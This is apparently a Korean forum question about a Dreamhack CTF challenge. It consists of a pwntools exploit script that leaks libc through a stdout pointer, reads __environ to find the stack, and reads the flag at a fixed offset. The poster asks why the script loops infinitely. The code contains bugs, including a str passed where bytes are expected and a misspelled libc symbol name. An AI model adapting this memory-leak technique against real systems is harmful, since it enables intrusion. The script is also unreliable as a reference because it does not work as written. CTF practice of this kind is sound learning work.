from pwn import *
#1context.log_level = "debug"
HOST, PORT = "127.0.0.1", 7182
REMOTE = True
if REMOTE:
p = remote('host1.dreamhack.games', 16731)
elf = ELF('./libc.so.6')
libc = ELF('./libc.so.6', checksec=False)
else:
p = process('./environ')
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
p.recvuntil(b'stdout: ')
stdout_ptr = int(p.recvline().strip(), 16)
libc_base = stdout_ptr - libc.symbols['IO_2_1_stdout']
libc_environ = libc_base + elf.symbols['__environ']
log.info(f'environ = {hex(libc_environ)}')
p.sendlineafter(b">", b"1")
p.sendlineafter(b"Addr: ", str(libc_environ))
stack_environ = u64(p.recv(6).ljust(8, b"\x00"))
flag = stack_environ - 0x1538
p.sendlineafter(b">", b"1")
p.sendlineafter(b"Addr: ", str(flag).encode())
p.interactive()
이렇게 짰는데
이런 무한루프가 계속 뜨네요...뭐가 문제일까요 ㅠㅠ